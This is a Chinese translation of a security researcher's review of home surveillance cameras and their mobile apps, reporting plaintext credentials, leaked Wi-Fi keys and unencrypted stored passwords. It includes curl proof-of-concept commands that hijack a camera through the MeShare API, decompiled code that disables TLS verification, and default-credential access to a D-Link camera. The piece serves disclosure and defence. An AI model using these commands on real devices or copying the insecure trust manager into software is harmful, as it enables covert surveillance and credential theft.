在公司和一些家庭中,视频摄像的入驻确实为保障安全提供了便利。我们不仅能够远程看到家里的情况,同时还能在手机上远程联系并查看实时或者录像画面。最近一个星期,我从Amazon和eBay上买了一些不同系统的拍照设备进行研究。
Vimtag Fujikam 361 HD
这个系统附带音频的独立设备,可用于无限或者有线。之所以会选择这款相机,是因为当时在亚马逊的“监控与安全摄像头”类别中最为畅销。安卓和iOS系统的移动应用程序名叫“Vimtag”。打开应用,便要求创建一个账户及密码。在进行这些操作时,APP与后端服务器的传输过程全部都是明文显示。用户名和哈希密码都在http GET参数中。
http://209.133.212.170:7080/ccm/cacs_reg_req.js?hfrom_handle=7&dlid=0x1f5024&duser=catdog72&dpass=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&dparam__x_countz_=1&dparam=1&dparam_name=appid&dparam_value=com.vimtag.vimtaga
进一步测试发现,APP与后端之间的大多数交流都是明文显示(非HTTPS)。那些未经加密的通讯操作包括账户注册信息、调节设置、SD卡格式化、访问存储音频或视频,以及录制音频或视频。在浏览过网络设置后,发现后端服务器向我的设备中发送了周围所有无线网络SSID(服务集标识符)列表。一组研究人员发现,只需利用SSID,他们便能定位13至40米之内的设备。服务器还将它连接网络的WPA2秘钥发送出来,这意味着它不仅对于任何攻击者可见,存储于服务器上面而且很容易进行恢复。如此一来,攻击者可以使用SSID定位使用了摄像头的房子,并来到窗前,链接这里的网络。
安卓手机上检查应用程序的数据目录时,我发现几个含有用户名和明文密码的XML文件。 你在第一次打开应用时,APP使用了这些文件中的登录字段数据。任何物理访问你手机的人,可以在程序的第一个界面获得你的用户名及密码。有了这个登录信息,攻击者便可以控制或访问应用程序中的任何视图。
Zmodo PKD-DK4216
这个系统与传统的中央电视设置相似,有四个录像摄像头以及一个包括摄像头、显示器、鼠标、有线网在内的硬件设备。Zmodo同时还出售多款视频监控系统。在亚马逊有售的系统中包括Zsight应用程序或是MeShare应用程序(安卓和iOS都有)。
当你安装Zsight完成,首个页面同样是要求出国你见一个创建一个账号、登录已存在的账号。不幸的是,在未经用户允许的情况下把你的用户名和MD5-哈希密码发送到 http://openapi.meshare.com。iOS 版本的 Zsight 使用 GET 传递了 username 和 password 参数,这么做就意味着在服务器的访问日志里可以复现登录的凭证信息。成功登录之后,MeShare的后端服务器返回了一个用于app验证后续请求的令牌。攻击者所关注的用户密码,它的MD5散列,或令牌都如探囊取物。一旦登录成功,应用程序通过http:// openapi.meshare.com与摄像头系统账户进行关联。
用Zsight/MeShare登录凭证还能做些什么呢?
·获取与账户相连的摄像头列表 ·取消与摄像头关联账户 ·查看拍摄记录 ·拍照 ·或许可以听取或者启动录制(我的摄像头并不带音频,因此这点我无法确定) ·访问MeShare网站相同账户(由于Zsight与MeShare登录凭证是相同的) ·“调戏”通知设置
Zsight/MeShare只允许一个特定摄像系统注册一个账户。下面的POC代码显示了如何获得账户的访问令牌。攻击者可以利用登录令牌,区分出目标账户,然后找到与之相关联的摄像头。当你拿到这些访问令牌时,你便可以轻松登录到网站账户。
export DEV_ID=25FN35RD0019D8B export USERNAME='bclinton@blackhouse.gov' export PASS=m0nic@ # if we know the actual password, get the md5 first. otherwise, just stick the hash in curl -s -X POST --data-urlencode "username=$USERNAME" --data-urlencode "password=$(echo -n $PASS | md5sum | awk '{print $1}')" --data "usertype=1" --data "clienttype=0" http://openapi.meshare.com/user/usrlogin | jq . { "img_address": "uimage.meshare.com", "timezone_version": "V2.0.0.2", "stun_port": "8088", "result": "ok", "data": { "photo_url": "", "about": "", "id": "123456", "username": "bclinton", "password": "62360fa2b626ff01ef341814f74b7074", "email": "bclinton@blackhouse.gov", "user_type": "0", "nickname": "bclinton", "photoid": "", "gender": "0" }, "addition": "1ni8t8fr914orgs5h8scbvspl3", "sip_address": "192.241.59.218", "port": "8088", "access_address": "192.241.59.218", "access_port": "8989", "stun_address": "192.241.59.218" } # this "addition" is the token # delete the camera from account 1 curl -H 'Content-Type: application/x-www-form-urlencoded' --data-binary "tokenid=1ni8t8fr914orgs5h8scbvspl3&id=${DEV_ID}" 'http://openapi.meshare.com/device/devdel' # add the device to account 2 (use a token generated from username/password from account 2) curl -H 'Content-Type: application/x-www-form-urlencoded' --data-binary "tokenid=5doa3alk9iqbeotfbket0gdor4&physical_id=${DEV_ID}&device_name=i_own_this_system&device_scene=1&device_description=${DEV_ID}&time_zone=America%2FNew_York" 'http://openapi.meshare.com/device/devadd'
当我检查PKD-DK4216系统与后端的通信时,我发现在一个POST中它自动上传了来自四个摄像头的JPEG快照到http://openapi.meshare.com/factorydevice/picture_report,文件名为“cover.jpg”。我怀疑这些图像可以被网站及APP中的每个独立摄像头预览或编辑。
与Vimtag应用程序类似,我发现Zsight的XML文件也存储了敏感数据。应用程序的XML文件中包含有用户ID、用户名、用户密码(同样未加密)、电邮地址以及一个有效令牌。至少Zsight并不会像Vimtag那样自动在屏幕上显示密码。我发现MegaShare的网站配置为允许接受使用通配符证书的 HTTPS ,因此对于这些应用程序的一个快速修复方法是通过HTTPS 进行后端访问。
LaView LV-KDV0804B6S
这也是多摄像头系统、有线网连接。当你将系统打开,它跳出一个二维码导向谷歌商店Laview Live应用下载。系统默认的用户登录名为admin,密码是123456。在配置应用程序与系统的对话、监控网络流量时,我发现一些二进制数据包中显示了用户名和密码。
我并没有让摄像头系统与APP真正在一起工作。尝试连接之后,它甚至都显示了连接成功,但是我的手机上仍为得到任何视频流。我从谷歌商店下载了12个BroVision Tech公司的相关应用程序,但是没有一个能够连接的,因此我无法了解到大部分的功能。安卓版的LaView Live NET HD应用程序允许用户登录到云账户。登录时,APP将用户名和MD5-哈希密码发送到https://i.ezviz7.com/api/user/login,而这仅仅实在将HTTPS验证完全摧毁之前。开发者使用一个被称为FakeX509TrustManager.allowAllSSL()的静态函数。这里的反编译代码供大家消遣,它并不该用于任何APP中。
public class FakeX509TrustManager implements X509TrustManager { private static final X509Certificate[] _AcceptedIssuers; private static TrustManager[] trustManagers; static { FakeX509TrustManager._AcceptedIssuers = new X509Certificate[0]; } public FakeX509TrustManager() { super(); } public static void allowAllSSL() { SSLContext v0; HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { public boolean verify(String hostname, SSLSession session) { return 1; } }); if(FakeX509TrustManager.trustManagers == null) { FakeX509TrustManager.trustManagers = new TrustManager[]{new FakeX509TrustManager()}; } try { v0 = SSLContext.getInstance("TLS"); v0.init(null, FakeX509TrustManager.trustManagers, new SecureRandom()); } catch(KeyManagementException v2) { v2.printStackTrace(); } catch(NoSuchAlgorithmException v2_1) { v2_1.printStackTrace(); } if(v0 != null) { SSLSocketFactory v1 = v0.getSocketFactory(); if(v1 != null) { HttpsURLConnection.setDefaultSSLSocketFactory(v1); } } } public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { } public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { } public X509Certificate[] getAcceptedIssuers() { return FakeX509TrustManager._AcceptedIssuers; } public boolean isClientTrusted(X509Certificate[] chain) { return 1; } public boolean isServerTrusted(X509Certificate[] chain) { return 1; } }
iOS版本的应用程序在不破坏https验证的情况下,可以访问 https://i.ezviz7.com/api/user/login 。
Best Vision Systems SK-DVR-DIY
这是另一个多摄像头系统,可连接监控和有线网络。他们推荐使用的手机应用程序是QMEye,创建用户或者登陆已有账户。注册界面要求提供用户、密码、邮箱、名称和电话号码。只要你点击了“注册”按钮,将会发起一个网络请求,在二进制数据中包含几乎所有你刚刚输入的信息,很容易就能看到。但是密码是不可见的;取而代之的是一个加密的字符串。
在安卓设备上,这个APP创建了一个含有用户名和密码的XML文件。这个文件只能在应用程序中可读。如果设备受到任何系统或者根漏洞利用,密码便很不安全。这个项目我检测的所有应用程序中,都存在明文密码的问题。这里有我所提及的几种漏洞类型: 1 、 2 和 3 。如果你感兴趣,可以 VTS安卓版应用程序 可以对这三个漏洞进行检测。
那么,IP摄像机如何?
IP摄像机并不鲜见,其实质就是连接到网络上的摄像头。它们通常具备了许多功能,如音频、色彩、夜视、平移及缩放功能。IP摄像机通常可以通过一个Web界面来进行配置。它们可以支持用户名和密码以及默认内置固件的登录凭证。在Foscam和D-Linkmodels中,身份验证是由 base64编码的用户名和密码 ,并将其作为HTTP头进行发送。
# try accessing the webui $ curl http://192.168.2.33 <html><body><h2>Error: Authorization Required</h2> <p>Authentication was requested</p></body></html> # it wanted a name and password # default for this D-Link camera is admin with no password $ export NAME=admin $ export PASSWORD= # send these in as a header $ curl -H "Authorization: Basic $(echo -n $NAME:$PASSWORD | base64)" http://192.168.2.33 <html> <head> <meta http-equiv="X-UA-Compatible" content="requiresActiveX=true"> <meta content="text/html; charset=windows-1252" http-equiv=Content-Type> <meta http-equiv="Pragma" content="no-cache"> <script language="Javascript" SRC="function.js?cidx=2.002014-05-27"></script> </head> <body> <script language="Javascript"> <!-- mode = 0; if (mode == 1) location.href="aview.htm"; else { if (mode == 2) location.href="jview.htm"; else location.href="top.htm"; } // --> </script> </body> </html>
IP摄像机一般不支持HTTPS。所以任何在Web UI做的事情都是不受保护的,以及在传输过程中。这对网络攻击者获取证书来说是微不足道的。事实上,使用网络摄像机查看器应用程序与一个Foscam IP摄像时,应用程序会在一个HTTP请求中插入三次用户名和密码。这大概是为了兼容的目的,这样的应用程序可以支持多种不同型号的相机。他们只是把密码当作猎枪爆炸流一样发送了,并希望他们中的一个是被需要的。
这通常不是一个大问题,如果IP摄像头只有在本地家庭或小型办公网络中才能访问的话。如果你将一个IP摄像头的IP暴露到互联网,可以通过Apache或者NGINX Web服务器作为代理,以弥补丢失的HTTPS可以帮助保持不受信任的用户访问您的凭据。
结论
在这个项目一部分里面,我所检查的任何一个APP 的安全性都没能给我留下深刻的印象。每个应用程序都依赖于一个用户名和密码进行验证,但他们没有使用合适的方式来保护这些信息。这些相机和应用程序的目的是为了帮助保持您的家人和财产的安全。不幸的是,当开发商作出这样粗心的错误,一个摄像头可以变成一个被用来对付你的工具 – 成为一个暴露你监视你的第三方。谁也不知道谁可能正在被偷窥监听?!!!
*原文地址: nowsecure ,SamSmith编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)